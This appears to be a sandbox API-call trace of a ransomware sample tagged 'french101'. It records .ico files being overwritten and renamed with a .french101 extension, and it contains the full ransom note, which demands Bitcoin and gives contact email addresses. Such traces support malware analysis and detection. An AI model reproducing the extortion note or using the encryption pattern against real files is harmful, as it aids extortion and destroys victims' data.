[0284.832] FindClose (in: hFindFile=0x6da210 | out: hFindFile=0x6da210) returned 1 [0284.832] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico", dwFileAttributes=0x20) returned 1 [0284.832] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0284.832] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0284.832] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x37e [0284.833] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0284.833] SetFilePointer (in: hFile=0x308, lDistanceToMove=894, lpDistanceToMoveHigh=0x19e490*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e490*=0) returned 0x37e [0284.833] WriteFile (in: hFile=0x308, lpBuffer=0x3f31cb8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e4a4, lpOverlapped=0x0 | out: lpBuffer=0x3f31cb8*, lpNumberOfBytesWritten=0x19e4a4*=0x1, lpOverlapped=0x0) returned 1 [0284.837] CloseHandle (hObject=0x308) returned 1 [0284.838] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0284.838] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0284.838] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x37f [0284.838] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0284.838] SetFilePointer (in: hFile=0x308, lDistanceToMove=894, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x37e [0284.838] SetEndOfFile (hFile=0x308) returned 1 [0284.840] CloseHandle (hObject=0x308) returned 1 [0284.840] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0284.840] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0284.841] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x37e [0284.841] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0284.859] CloseHandle (hObject=0x308) returned 1 [0284.860] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico"), lpNewFileName="C:\\588bce7c90097ed212\\Graphics\\ePSyCTX57WSoK3=HeZUrKjOX6DdJOQ.french101" (normalized: "c:\\588bce7c90097ed212\\graphics\\epsyctx57wsok3=hezurkjox6ddjoq.french101")) returned 1 [0284.860] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\ePSyCTX57WSoK3=HeZUrKjOX6DdJOQ.french101" (normalized: "c:\\588bce7c90097ed212\\graphics\\epsyctx57wsok3=hezurkjox6ddjoq.french101"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0284.861] CloseHandle (hObject=0x308) returned 1 [0284.861] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\ePSyCTX57WSoK3=HeZUrKjOX6DdJOQ.french101", dwFileAttributes=0x80) returned 1 [0284.861] CloseHandle (hObject=0x308) returned 0 [0284.861] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \r\n\r\nContact us using this email address: french101@protonmail.ch (french101@cock.li, french101@india.com)\r\n\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nHow to obtain Bitcoins? \r\n * The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click \r\n 'Buy bitcoins', and select the seller by payment method and price: \r\n https://localbitcoins.com/buy_bitcoins \r\n * Also you can find other places to buy Bitcoins and beginners guide here: \r\n http://www.coindesk.com/information/how-can-i-buy-bitcoins \r\n \r\nAttention! \r\n * Do not rename encrypted files. \r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss. \r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam. \r\n", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0284.861] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x19e590 | out: lpFindFileData=0x19e590) returned 0x6da250 [0284.861] FileTimeToLocalFileTime (in: lpFileTime=0x19e5a4, lpLocalFileTime=0x19e524 | out: lpLocalFileTime=0x19e524) returned 1 [0284.861] FileTimeToDosDateTime (in: lpFileTime=0x19e524, lpFatDate=0x19e572, lpFatTime=0x19e570 | out: lpFatDate=0x19e572, lpFatTime=0x19e570) returned 1 [0284.861] FindClose (in: hFindFile=0x6da250 | out: hFindFile=0x6da250) returned 1 [0284.862] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\588bce7c90097ed212\\graphics\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0284.862] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0284.862] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x87f [0284.862] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0284.862] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0284.862] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x87f [0284.862] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0284.862] ReadFile (in: hFile=0x308, lpBuffer=0x3e80e78, nNumberOfBytesToRead=0x87f, lpNumberOfBytesRead=0x19e79c, lpOverlapped=0x0 | out: lpBuffer=0x3e80e78*, lpNumberOfBytesRead=0x19e79c*=0x87f, lpOverlapped=0x0) returned 1 [0284.862] CloseHandle (hObject=0x308) returned 1 [0284.862] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0284.862] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0284.863] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0284.863] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0284.863] CharLowerBuffW (in: lpsz="Rotate4.ico", cchLength=0xb | out: lpsz="rotate4.ico") returned 0xb [0284.863] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oè\x19", lpUsedDefaultChar=0x0) returned 1 [0284.863] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cè\x19", lpUsedDefaultChar=0x0) returned 1 [0284.863] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iè\x19", lpUsedDefaultChar=0x0) returned 1 [0284.863] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".è\x19", lpUsedDefaultChar=0x0) returned 1 [0284.863] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="4", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4è\x19", lpUsedDefaultChar=0x0) returned 1 [0284.863] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0284.863] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tè\x19", lpUsedDefaultChar=0x0) returned 1 [0284.863] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0284.863] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tè\x19", lpUsedDefaultChar=0x0) returned 1 [0284.863] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oè\x19", lpUsedDefaultChar=0x0) returned 1 [0284.863] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rè\x19", lpUsedDefaultChar=0x0) returned 1 [0284.863] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13128, cbMultiByte=34, lpWideCharStr=0x19d7d8, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0284.863] CharLowerBuffW (in: lpsz=".ico", cchLength=0x4 | out: lpsz=".ico") returned 0x4 [0284.863] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".ico", cchWideChar=4, lpMultiByteStr=0x19d7d8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".icoco ", lpUsedDefaultChar=0x0) returned 4 [0284.863] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico", lpFindFileData=0x19e578 | out: lpFindFileData=0x19e578) returned 0x6da210 [0284.864] FileTimeToLocalFileTime (in: lpFileTime=0x19e58c, lpLocalFileTime=0x19e498 | out: lpLocalFileTime=0x19e498) returned 1 [0284.864] FileTimeToDosDateTime (in: lpFileTime=0x19e498, lpFatDate=0x19e55a, lpFatTime=0x19e558 | out: lpFatDate=0x19e55a, lpFatTime=0x19e558) returned 1 [0284.864] FindClose (in: hFindFile=0x6da210 | out: hFindFile=0x6da210) returned 1 [0284.864] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico", dwFileAttributes=0x20) returned 1 [0284.889] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0284.889] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0284.890] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x37e [0284.890] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0284.890] SetFilePointer (in: hFile=0x398, lDistanceToMove=894, lpDistanceToMoveHigh=0x19e490*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e490*=0) returned 0x37e [0284.890] WriteFile (in: hFile=0x398, lpBuffer=0x3f31ca8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e4a4, lpOverlapped=0x0 | out: lpBuffer=0x3f31ca8*, lpNumberOfBytesWritten=0x19e4a4*=0x1, lpOverlapped=0x0) returned 1 [0284.891] CloseHandle (hObject=0x398) returned 1 [0284.892] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0284.893] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0284.893] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x37f [0284.893] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0284.893] SetFilePointer (in: hFile=0x398, lDistanceToMove=894, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x37e [0284.893] SetEndOfFile (hFile=0x398) returned 1 [0284.895] CloseHandle (hObject=0x398) returned 1 [0284.895] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0284.895] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0284.898] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x37e [0284.898] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0284.916] CloseHandle (hObject=0x398) returned 1 [0284.916] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico"), lpNewFileName="C:\\588bce7c90097ed212\\Graphics\\gmzlW8+rVmTumEmu69VorzDBCy=3hk.french101" (normalized: "c:\\588bce7c90097ed212\\graphics\\gmzlw8+rvmtumemu69vorzdbcy=3hk.french101")) returned 1 [0284.917] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\gmzlW8+rVmTumEmu69VorzDBCy=3hk.french101" (normalized: "c:\\588bce7c90097ed212\\graphics\\gmzlw8+rvmtumemu69vorzdbcy=3hk.french101"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0284.917] CloseHandle (hObject=0x398) returned 1 [0284.917] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\gmzlW8+rVmTumEmu69VorzDBCy=3hk.french101", dwFileAttributes=0x80) returned 1 [0284.918] CloseHandle (hObject=0x398) returned 0 [0284.918] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \r\n\r\nContact us using this email address: french101@protonmail.ch (french101@cock.li, french101@india.com)\r\n\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nHow to obtain Bitcoins? \r\n * The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click \r\n 'Buy bitcoins', and select the seller by payment method and price: \r\n https://localbitcoins.com/buy_bitcoins \r\n * Also you can find other places to buy Bitcoins and beginners guide here: \r\n http://www.coindesk.com/information/how-can-i-buy-bitcoins \r\n \r\nAttention! \r\n * Do not rename encrypted files. \r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss. \r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam. \r\n", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0284.918] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x19e590 | out: lpFindFileData=0x19e590) returned 0x6da210 [0284.918] FileTimeToLocalFileTime (in: lpFileTime=0x19e5a4, lpLocalFileTime=0x19e524 | out: lpLocalFileTime=0x19e524) returned 1 [0284.918] FileTimeToDosDateTime (in: lpFileTime=0x19e524, lpFatDate=0x19e572, lpFatTime=0x19e570 | out: lpFatDate=0x19e572, lpFatTime=0x19e570) returned 1 [0284.918] FindClose (in: hFindFile=0x6da210 | out: hFindFile=0x6da210) returned 1 [0284.918] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\588bce7c90097ed212\\graphics\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0284.919] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0284.919] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x87f [0284.919] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0284.919] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0284.919] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x87f [0284.919] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0284.919] ReadFile (in: hFile=0x398, lpBuffer=0x3e80e78, nNumberOfBytesToRead=0x87f, lpNumberOfBytesRead=0x19e79c, lpOverlapped=0x0 | out: lpBuffer=0x3e80e78*, lpNumberOfBytesRead=0x19e79c*=0x87f, lpOverlapped=0x0) returned 1 [0284.919] CloseHandle (hObject=0x398) returned 1 [0284.919] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0284.919] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0284.919] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0284.919] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0284.920] CharLowerBuffW (in: lpsz="Rotate5.ico", cchLength=0xb | out: lpsz="rotate5.ico") returned 0xb [0284.920] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oè\x19", lpUsedDefaultChar=0x0) returned 1 [0284.920] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cè\x19", lpUsedDefaultChar=0x0) returned 1 [0284.920] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iè\x19", lpUsedDefaultChar=0x0) returned 1 [0284.920] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".è\x19", lpUsedDefaultChar=0x0) returned 1 [0284.920] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="5", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5è\x19", lpUsedDefaultChar=0x0) returned 1 [0284.920] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0284.920] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tè\x19", lpUsedDefaultChar=0x0) returned 1 [0284.920] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0284.920] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tè\x19", lpUsedDefaultChar=0x0) returned 1 [0284.920] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oè\x19", lpUsedDefaultChar=0x0) returned 1 [0284.920] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rè\x19", lpUsedDefaultChar=0x0) returned 1 [0284.920] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f130f8, cbMultiByte=34, lpWideCharStr=0x19d7d8, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0284.920] CharLowerBuffW (in: lpsz=".ico", cchLength=0x4 | out: lpsz=".ico") returned 0x4 [0284.920] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".ico", cchWideChar=4, lpMultiByteStr=0x19d7d8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".icoco ", lpUsedDefaultChar=0x0) returned 4 [0284.920] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico", lpFindFileData=0x19e578 | out: lpFindFileData=0x19e578) returned 0x6da210 [0284.920] FileTimeToLocalFileTime (in: lpFileTime=0x19e58c, lpLocalFileTime=0x19e498 | out: lpLocalFileTime=0x19e498) returned 1 [0284.920] FileTimeToDosDateTime (in: lpFileTime=0x19e498, lpFatDate=0x19e55a, lpFatTime=0x19e558 | out: lpFatDate=0x19e55a, lpFatTime=0x19e558) returned 1 [0284.920] FindClose (in: hFindFile=0x6da210 | out: hFindFile=0x6da210) returned 1 [0284.921] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico", dwFileAttributes=0x20) returned 1 [0284.921] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 